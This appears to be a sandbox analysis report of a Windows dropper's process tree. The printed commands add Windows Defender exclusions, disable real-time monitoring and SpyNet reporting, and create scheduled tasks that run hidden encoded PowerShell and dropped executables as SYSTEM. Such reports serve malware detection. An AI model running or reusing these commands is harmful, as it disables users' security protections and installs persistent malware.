powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXETLymoZp.exe

pid	process
1784	powershell.EXE
1784	powershell.EXE
1784	powershell.EXE
1744	powershell.EXE
1744	powershell.EXE
1744	powershell.EXE
756	powershell.EXE
756	powershell.EXE
756	powershell.EXE
1164	powershell.EXE
1164	powershell.EXE
1164	powershell.EXE
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe
1880	TLymoZp.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1784	powershell.EXE
Token: SeDebugPrivilege	1744	powershell.EXE
Token: SeDebugPrivilege	756	powershell.EXE
Token: SeDebugPrivilege	1164	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 2036 wrote to memory of 1020	2036	file.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 1020 wrote to memory of 2016	1020	Install.exe	Install.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 1764	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 2016 wrote to memory of 896	2016	Install.exe	forfiles.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 1764 wrote to memory of 564	1764	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 896 wrote to memory of 1036	896	forfiles.exe	cmd.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 564 wrote to memory of 1056	564	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 788	1036	cmd.exe	reg.exe
PID 564 wrote to memory of 2020	564	cmd.exe	reg.exe
PID 564 wrote to memory of 2020	564	cmd.exe	reg.exe
PID 564 wrote to memory of 2020	564	cmd.exe	reg.exe
PID 1036 wrote to memory of 1400	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 1400	1036	cmd.exe	reg.exe
PID 1036 wrote to memory of 1400	1036	cmd.exe	reg.exe
PID 564 wrote to memory of 2020	564	cmd.exe	reg.exe
PID 564 wrote to memory of 2020	564	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2036

C:\Users\Admin\AppData\Local\Temp\7zS1CD5.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1020

C:\Users\Admin\AppData\Local\Temp\7zS1FD1.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:564

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:2020

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1056

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1036

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gByKAVKvq" /SC once /ST 15:11:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1900

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gByKAVKvq"
4⤵
PID:528

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gByKAVKvq"
4⤵
PID:1880

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 19:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\ZKTDtoU.exe\" Qf /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1372

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
1⤵
PID:788

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
1⤵
PID:1400

C:\Windows\system32\taskeng.exe
taskeng.exe {F680E8F0-484C-4F16-B12E-68A066F0630D} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1784

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:756

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:740

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1300

C:\Windows\system32\taskeng.exe
taskeng.exe {3E638286-EBDC-47BE-8BE2-39B0C63FFB68} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1688

C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\ZKTDtoU.exe
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\ZKTDtoU.exe Qf /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:564

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gEimbVXRB" /SC once /ST 05:10:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:680

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gEimbVXRB"
3⤵
PID:884

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gEimbVXRB"
3⤵
PID:1492

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:976

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:316

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1596

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:928

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gKktxhVcM" /SC once /ST 08:53:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1880

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gKktxhVcM"
3⤵
PID:1836

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gKktxhVcM"
3⤵
PID:744

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:340

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1812

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1580

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1552

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1492

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1620

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1904

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\MNBTbrbBidagOXts\aiZUhPZb\WxTKAgqwmJjzLVZF.wsf"
3⤵
PID:1188

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\MNBTbrbBidagOXts\aiZUhPZb\WxTKAgqwmJjzLVZF.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1888

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1780

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1708

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:936

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1664

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1188

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1920

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:300

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1552

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1784

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1364

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "guHTfrUua" /SC once /ST 03:04:41 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:896

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "guHTfrUua"
3⤵
PID:1212

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "guHTfrUua"
3⤵
PID:340

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:736

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1816

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:268

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1664

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "GrrjjXtPjBVPFNmZQ" /SC once /ST 11:35:49 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\TLymoZp.exe\" 76 /site_id 525403 /S" /V1 /F
3⤵
- Creates scheduled task(s)
PID:840

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "GrrjjXtPjBVPFNmZQ"
3⤵
PID:1576

C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\TLymoZp.exe
